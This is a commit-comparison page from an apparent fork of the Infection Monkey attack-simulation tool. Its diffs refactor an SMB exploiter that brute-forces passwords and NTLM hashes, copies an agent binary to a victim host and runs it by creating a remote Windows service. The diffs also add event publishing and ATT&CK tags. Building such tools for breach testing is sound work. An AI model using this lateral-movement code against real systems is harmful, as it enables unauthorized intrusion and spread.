forked from p15670423/monkey
Compare commits
13 Commits
develop
...
2269-publi
Author | SHA1 | Date |
---|---|---|
Kekoa Kaaikala | d9f8b2a3d0 | |
Kekoa Kaaikala | 7797890ff4 | |
Kekoa Kaaikala | 104e0abda9 | |
Kekoa Kaaikala | bc0adb2193 | |
Shreya Malviya | ce6ca64b4d | |
Kekoa Kaaikala | f917654f41 | |
Kekoa Kaaikala | 7b13817b66 | |
Kekoa Kaaikala | c631755397 | |
Kekoa Kaaikala | 629c2433cd | |
Kekoa Kaaikala | db09fe0cae | |
Kekoa Kaaikala | c3ba2cf6b2 | |
Kekoa Kaaikala | 2d130a0442 | |
Kekoa Kaaikala | 156300e8ed |
|
@ -9,5 +9,6 @@ from .attack import (
|
||||||
T1203_ATTACK_TECHNIQUE_TAG,
|
T1203_ATTACK_TECHNIQUE_TAG,
|
||||||
T1210_ATTACK_TECHNIQUE_TAG,
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
T1222_ATTACK_TECHNIQUE_TAG,
|
T1222_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1569_ATTACK_TECHNIQUE_TAG,
|
||||||
T1570_ATTACK_TECHNIQUE_TAG,
|
T1570_ATTACK_TECHNIQUE_TAG,
|
||||||
)
|
)
|
||||||
|
|
|
@ -8,4 +8,5 @@ T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
|
||||||
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
|
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
|
||||||
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
|
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
|
||||||
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
|
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
|
||||||
|
T1569_ATTACK_TECHNIQUE_TAG = "attack-t1569"
|
||||||
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"
|
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"
|
||||||
|
|
|
@ -1,10 +1,22 @@
|
||||||
|
from dataclasses import dataclass
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
|
from pathlib import PurePath
|
||||||
|
from time import time
|
||||||
|
from typing import Optional, Tuple
|
||||||
|
|
||||||
from impacket.dcerpc.v5 import scmr, transport
|
from impacket.dcerpc.v5 import scmr, transport
|
||||||
|
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
|
||||||
from impacket.dcerpc.v5.scmr import DCERPCSessionError
|
from impacket.dcerpc.v5.scmr import DCERPCSessionError
|
||||||
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
from common.credentials import get_plaintext
|
from common.credentials import get_plaintext
|
||||||
|
from common.tags import (
|
||||||
|
T1021_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1569_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||||
|
@ -19,6 +31,15 @@ from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
from infection_monkey.utils.threading import interruptible_iter
|
from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = getLogger(__name__)
|
logger = getLogger(__name__)
|
||||||
|
SMBEXEC_EXPLOITER_TAG = "smbexec-exploiter"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class SelectedCredentials:
|
||||||
|
user: str
|
||||||
|
password: str
|
||||||
|
lm_hash: str
|
||||||
|
ntlm_hash: str
|
||||||
|
|
||||||
|
|
||||||
class SMBExploiter(HostExploiter):
|
class SMBExploiter(HostExploiter):
|
||||||
|
@ -29,15 +50,74 @@ class SMBExploiter(HostExploiter):
|
||||||
}
|
}
|
||||||
USE_KERBEROS = False
|
USE_KERBEROS = False
|
||||||
SMB_SERVICE_NAME = "InfectionMonkey"
|
SMB_SERVICE_NAME = "InfectionMonkey"
|
||||||
|
_EXPLOITER_TAGS = (
|
||||||
|
SMBEXEC_EXPLOITER_TAG,
|
||||||
|
T1021_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
_PROPAGATION_TAGS = (
|
||||||
|
SMBEXEC_EXPLOITER_TAG,
|
||||||
|
T1021_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1569_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
|
|
||||||
dest_path = get_agent_dst_path(self.host)
|
|
||||||
creds = generate_brute_force_combinations(self.options["credentials"])
|
|
||||||
|
|
||||||
|
dest_path = get_agent_dst_path(self.host)
|
||||||
|
remote_full_path, creds, timestamp = self._exploit(dest_path)
|
||||||
|
|
||||||
|
if not self.exploit_result.exploitation_success:
|
||||||
|
if self._is_interrupted():
|
||||||
|
self._set_interrupted()
|
||||||
|
else:
|
||||||
|
logger.debug("Exploiter SmbExec is giving up...")
|
||||||
|
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
|
||||||
|
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
# execute the remote dropper in case the path isn't final
|
||||||
|
cmdline = self._get_agent_command(remote_full_path, dest_path)
|
||||||
|
|
||||||
|
scmr_rpc = self._get_rpc_connection(creds)
|
||||||
|
|
||||||
|
if not scmr_rpc:
|
||||||
|
msg = "Failed to establish an RPC connection over SMB"
|
||||||
|
|
||||||
|
logger.warning(msg)
|
||||||
|
self.exploit_result.error_message = msg
|
||||||
|
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
if not self._run_agent_on_victim(scmr_rpc, cmdline, timestamp):
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
|
remote_full_path,
|
||||||
|
self.host,
|
||||||
|
cmdline,
|
||||||
|
)
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
|
|
||||||
|
self.add_vuln_port(
|
||||||
|
"%s or %s"
|
||||||
|
% (
|
||||||
|
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
||||||
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
|
)
|
||||||
|
)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
def _exploit(self, dest_path: PurePath) -> Tuple[Optional[str], SelectedCredentials, float]:
|
||||||
|
agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
|
||||||
|
creds = generate_brute_force_combinations(self.options["credentials"])
|
||||||
for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
|
for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
|
||||||
creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
|
creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
|
||||||
|
|
||||||
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(
|
remote_full_path = SmbTools.copy_file(
|
||||||
|
@ -64,29 +144,27 @@ class SMBExploiter(HostExploiter):
|
||||||
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
self._publish_exploitation_event(timestamp, True)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||||
|
error_message = f"Failed to login using SMB with {creds_for_log}"
|
||||||
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.error(
|
error_message = (
|
||||||
f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
|
f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
|
||||||
f"{creds_for_log}:{exc}"
|
f"{creds_for_log}:{exc}"
|
||||||
)
|
)
|
||||||
|
logger.error(error_message)
|
||||||
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not self.exploit_result.exploitation_success:
|
return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash), timestamp
|
||||||
if self._is_interrupted():
|
|
||||||
self._set_interrupted()
|
|
||||||
else:
|
|
||||||
logger.debug("Exploiter SmbExec is giving up...")
|
|
||||||
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
|
|
||||||
|
|
||||||
return self.exploit_result
|
def _get_agent_command(self, remote_full_path: str, dest_path: PurePath) -> str:
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
|
||||||
if remote_full_path.lower() != str(dest_path).lower():
|
if remote_full_path.lower() != str(dest_path).lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
||||||
"dropper_path": remote_full_path
|
"dropper_path": remote_full_path
|
||||||
|
@ -100,7 +178,9 @@ class SMBExploiter(HostExploiter):
|
||||||
"monkey_path": remote_full_path
|
"monkey_path": remote_full_path
|
||||||
} + build_monkey_commandline(self.servers, self.current_depth + 1)
|
} + build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||||
|
|
||||||
smb_conn = None
|
return cmdline
|
||||||
|
|
||||||
|
def _get_rpc_connection(self, creds: SelectedCredentials) -> Optional[DCERPC_v5]:
|
||||||
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
|
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
|
||||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||||
rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT)
|
rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT)
|
||||||
|
@ -109,11 +189,11 @@ class SMBExploiter(HostExploiter):
|
||||||
if hasattr(rpctransport, "set_credentials"):
|
if hasattr(rpctransport, "set_credentials"):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(
|
rpctransport.set_credentials(
|
||||||
user,
|
creds.user,
|
||||||
get_plaintext(password),
|
get_plaintext(creds.password),
|
||||||
"",
|
"",
|
||||||
get_plaintext(lm_hash),
|
get_plaintext(creds.lm_hash),
|
||||||
get_plaintext(ntlm_hash),
|
get_plaintext(creds.ntlm_hash),
|
||||||
None,
|
None,
|
||||||
)
|
)
|
||||||
rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
|
||||||
|
@ -132,21 +212,18 @@ class SMBExploiter(HostExploiter):
|
||||||
logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
|
logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
|
||||||
smb_conn = rpctransport.get_smb_connection()
|
smb_conn = rpctransport.get_smb_connection()
|
||||||
smb_conn.setTimeout(LONG_REQUEST_TIMEOUT)
|
smb_conn.setTimeout(LONG_REQUEST_TIMEOUT)
|
||||||
break
|
if smb_conn is None:
|
||||||
|
return None
|
||||||
|
|
||||||
if not smb_conn:
|
return scmr_rpc
|
||||||
msg = "Failed to establish an RPC connection over SMB"
|
|
||||||
|
|
||||||
logger.warning(msg)
|
return None
|
||||||
self.exploit_result.error_message = msg
|
|
||||||
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
|
def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str, start_time: float) -> bool:
|
||||||
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
resp = scmr.hROpenSCManagerW(scmr_rpc)
|
resp = scmr.hROpenSCManagerW(scmr_rpc)
|
||||||
sc_handle = resp["lpScHandle"]
|
sc_handle = resp["lpScHandle"]
|
||||||
|
|
||||||
# start the monkey using the SCM
|
|
||||||
try:
|
try:
|
||||||
resp = scmr.hRCreateServiceW(
|
resp = scmr.hRCreateServiceW(
|
||||||
scmr_rpc,
|
scmr_rpc,
|
||||||
|
@ -161,32 +238,21 @@ class SMBExploiter(HostExploiter):
|
||||||
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
|
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
|
||||||
else:
|
else:
|
||||||
self.exploit_result.error_message = str(err)
|
self.exploit_result.error_message = str(err)
|
||||||
return self.exploit_result
|
self._publish_propagation_event(start_time, False, error_message=str(err))
|
||||||
|
return False
|
||||||
|
|
||||||
service = resp["lpServiceHandle"]
|
service = resp["lpServiceHandle"]
|
||||||
try:
|
try:
|
||||||
scmr.hRStartServiceW(scmr_rpc, service)
|
scmr.hRStartServiceW(scmr_rpc, service)
|
||||||
|
self._publish_propagation_event(start_time, True)
|
||||||
status = ScanStatus.USED
|
status = ScanStatus.USED
|
||||||
except Exception:
|
except Exception:
|
||||||
|
error_message = "Failed to start the service"
|
||||||
|
self._publish_propagation_event(start_time, False, error_message=error_message)
|
||||||
status = ScanStatus.SCANNED
|
status = ScanStatus.SCANNED
|
||||||
pass
|
|
||||||
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
|
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
|
||||||
scmr.hRDeleteService(scmr_rpc, service)
|
scmr.hRDeleteService(scmr_rpc, service)
|
||||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||||
|
|
||||||
logger.info(
|
return True
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
||||||
remote_full_path,
|
|
||||||
self.host,
|
|
||||||
cmdline,
|
|
||||||
)
|
|
||||||
self.exploit_result.propagation_success = True
|
|
||||||
|
|
||||||
self.add_vuln_port(
|
|
||||||
"%s or %s"
|
|
||||||
% (
|
|
||||||
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
|
||||||
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
|
||||||
)
|
|
||||||
)
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
|
@ -3,7 +3,7 @@ import ntpath
|
||||||
import pprint
|
import pprint
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
from pathlib import PurePath
|
from pathlib import PurePath
|
||||||
from typing import Optional
|
from typing import Any, Dict, Optional, Tuple
|
||||||
|
|
||||||
from impacket.dcerpc.v5 import srvs, transport
|
from impacket.dcerpc.v5 import srvs, transport
|
||||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||||
|
@ -79,8 +79,8 @@ class SmbTools(object):
|
||||||
|
|
||||||
resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"]
|
resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"]
|
||||||
|
|
||||||
high_priority_shares = ()
|
high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = ()
|
||||||
low_priority_shares = ()
|
low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = ()
|
||||||
file_name = dst_path.name
|
file_name = dst_path.name
|
||||||
|
|
||||||
for i in range(len(resp)):
|
for i in range(len(resp)):
|
||||||
|
|
Loading…
Reference in New Issue